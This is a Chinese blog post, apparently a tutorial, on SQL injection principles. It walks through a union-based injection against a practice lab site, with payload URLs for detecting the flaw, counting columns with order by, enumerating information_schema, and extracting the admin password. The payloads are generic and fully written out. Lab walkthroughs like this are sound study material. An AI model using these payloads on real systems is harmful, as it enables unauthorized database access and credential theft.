首页 > 数据库 >sql注入原理分析

sql注入原理分析

时间:2023-09-29 17:33:45浏览次数:29  
标签:cn name union sql table 原理 注入 select schema

SQL注入的原理与分析

1、SQL注入的本质

2、部分SQL语句

3、SQL注入流程

一、SQL注入的本质

  SQL注入的本质,就是把用户输入的数据当作代码执行

  Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令

  两个必要关键的条件:

  第一,用户能够控制输入

  第二,原本程序要执行的代码拼接了用户输入的数据然后执行

二、部分SQL语句

  · column_name 字段名

  · table_name 表名

  · schema_name 库名

  · information_schema 数据库所有信息,库、表、字段

  · information_schema.columns 所有字段的信息

    table_schema 所在数据库

    table_name 所在表

    column_name 字段的名字

  · information_schema.tables  所有表的信息

    table_schema 所在数据库

    table_name 表的名字

  · information_schema.schemata 所有数据库的信息

    schema_name 数据库的名字

三、SQL注入流程

  SQL注入流程

  · 找与数据库交互的地方

  · 判断是否存在注入点,注入是字符型or数字型

  · 判断当前表的一个字段数,当前所在的库

  · 去系统自带信息库查表名,字段名

  · 查询需要的字段数据

  SQL注入步骤

  1、判断是否存在注入点

  最古老的方法:and 1=1 成立 且 and 1=2 不成立 => 存在sql注入
  最简单的方法:页面后面加单引号,若报错,则存在sql注入
  进阶:如果是数字型传参,可以尝试-1
  and 1=1 and 1=2 被拦截的可能性超高
  可以尝试 and -1 = -1 或者 -1=-2 或者1>0,,,或者直接or sleep(5) 

  2、判断当前表的字段数,库名

  判断字段数(判断显错位):order by 字段序数   =>  这个语法是是排序语法,根据第几个字段排序,例如,该表有2个字段,若是用了 order by 3 则会报错,因为只有两个字段,不可能根据第三个字段排序。字段序数大于字段数则会报错

      举例:

      http://pu2lh35s.ia.aqlab.cn/?id=1  order by 1 (正常)

      http://pu2lh35s.ia.aqlab.cn/?id=1  order by 2   (正常)

      http://pu2lh35s.ia.aqlab.cn/?id=1  order by 3     (异常)

 异常无法获取到数据

 3、union 联合查询

步骤2已经判断出当前页面存在2个字段

union select 1111,22222

输入栏输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 11111,2222               #联合查询表字段数,前后必须一致,2222代表着填充位可以随便写。当and 1=2前面的查询不成立时,才会显示后面填充位的查询记录

 4、判断库名

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 11111,database()       #2222换成database() 

 现在我们已经拿到了当前页面库名maoshe

5、通过库名找到对应的表名

union select 1,table_name from information_schema.tables where table_schema='maoshe'

浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,table_name from information_schema.tables where table_schema='maoshe'

到这里表名已经找到

浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,table_name from information_schema.tables where table_schema='maoshe'  limit 0,1    

结果显示:admin (说明admin是第一个表名)

浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,table_name from information_schema.tables where table_schema='maoshe'  limit 1,2

6、通过表名找到列名

union select 1,column_name from information_schema.columns where table_schema='maoshe' and  table_name ='admin'

浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,column_name from information_schema.columns where table_schema='maoshe' and  table_name ='admin' limit 0,1

 浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,column_name from information_schema.columns where table_schema='maoshe' and  table_name ='admin' limit 1,2

 浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,column_name from information_schema.columns where table_schema='maoshe' and  table_name ='admin' limit 2,3

 依次显示表名对应的列名信息

 http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and  table_name ='admin' 

 显示所有列名信息:

 通过以上步骤知道表名和列名,我们可以直接拿到admin密码

union select 1,password from admin 

  http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,password from admin 

 密码就是hellhack,到此这个靶场破解成功

 

 

 参考链接:

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2  union select 1,database()

http://www.jsons.cn/urlencode/

https://www.cnblogs.com/yyy413/p/15614044.html

 

标签:cn,name,union,sql,table,原理,注入,select,schema
From: https://www.cnblogs.com/xfbk/p/17729168.html

相关文章

  • Mysql 日期计算相差年、月、周、日数整理
    1、相差年数SELECTNOW()当前日期,DATE_ADD(NOW(),INTERVAL-400DAY)历史日期,TIMESTAMPDIFF(YEAR,DATE_ADD(NOW(),INTERVAL-400DAY),NOW())AS相差年;2、相差月数 SELECTNOW()当前日期,DATE_ADD(NOW(),INTERVAL-400DAY)历史日期,TIMESTAMPDIFF(MONTH,......
  • 支持向量机基本原理与公式推导
    我整理了《BAT常见机器学习算法面试题1000题》,供大家学习和参考。资源获取方式:第1步:打开v搜索:医学大数据与人工智能,并关注。第2步:在对话框中输入:E001,即可获取资源地址。支持向量机的数学推导考虑一个二元分类问题,有两个类别,标记为+1和-1。我们有一个包含输入特征向量X和它们对应......
  • SQL中的CASE语句
    在SQL中,CASE语句是一种条件表达式,用于在查询中根据条件返回不同的结果。它可以根据条件进行逻辑判断,并根据判断结果返回不同的值。CASE语句有两种形式:简单CASE表达式和搜索CASE表达式。1.简单CASE表达式:简单CASE表达式基于一个表达式进行比较,并根据比较结果返回不同的值。它的......
  • sql查询之拼接外表或该表不存在的数据,简化多表联查的操作
    (内容)1.引言最近写项目时,用到了多表联查的知识点,我需要传article类和web_user类的username的参数这是我的三个表--MySQLdump10.13Distrib8.0.26,forWin64(x86_64)----Host:127.0.0.1Database:web-----------------------------------------------------......
  • java——mysql随笔
         索引简介:                                                                 1 ......
  • 读高性能MySQL(第4版)笔记17_复制(下)
    1. 复制切换1.1. 复制是高可用性的基础1.1.1. 总是保留一份持续更新的副本数据,会让灾难恢复更简单1.2. “切换副本”(promotingareplica)和“故障切换”(failingover)是同义词1.2.1. 意味着源服务器不再接收写入,并将副本提升为新的源服务器1.3. 计划内切换1.3.1. 常......
  • 甲骨文宣布: 也做 PostgreSQL!
    PostgreSQL在开源数据库世界中一直是一个标志性的存在。经过35年的严格开发,它以其可靠性、强大的功能和性能而自豪。DB-engines的突出显示,其市场份额的增长证明了其适应性强的数据模型和满足各种用例需求的多样化扩展。考虑到PG突出的地位,甲骨文将推出基于PostgreSQL14.9版......
  • mysql将换行替换成空格
    #char(10)换行符char(13)回车符号select*fromview_nichtware_wms_inventorywhereDESCRIPTIONlikeconcat('%',char(10),'%')andSKU='DMKT-20220124-013';#去除换行和回车符号REPLACE(REPLACE(remarks,char(13),''),char(10),'......
  • 甲骨文宣布: 也做 PostgreSQL!
    PostgreSQL在开源数据库世界中一直是一个标志性的存在。经过35年的严格开发,它以其可靠性、强大的功能和性能而自豪。DB-engines的突出显示,其市场份额的增长证明了其适应性强的数据模型和满足各种用例需求的多样化扩展考虑到PG突出的地位,甲骨文将推出基于 PostgreSQL14.9版......
  • Sql(多级分销)无限极数据库表设计方法
    相信有过开发经验的朋友都曾碰到过这样一个需求。假设你正在为一个新闻网站开发一个评论功能,读者可以评论原文甚至相互回复。这个需求并不简单,相互回复会导致无限多的分支,无限多的祖先-后代关系。这是一种典型的递归关系数据。对于这个问题,以下给出几个解决方案,各位客......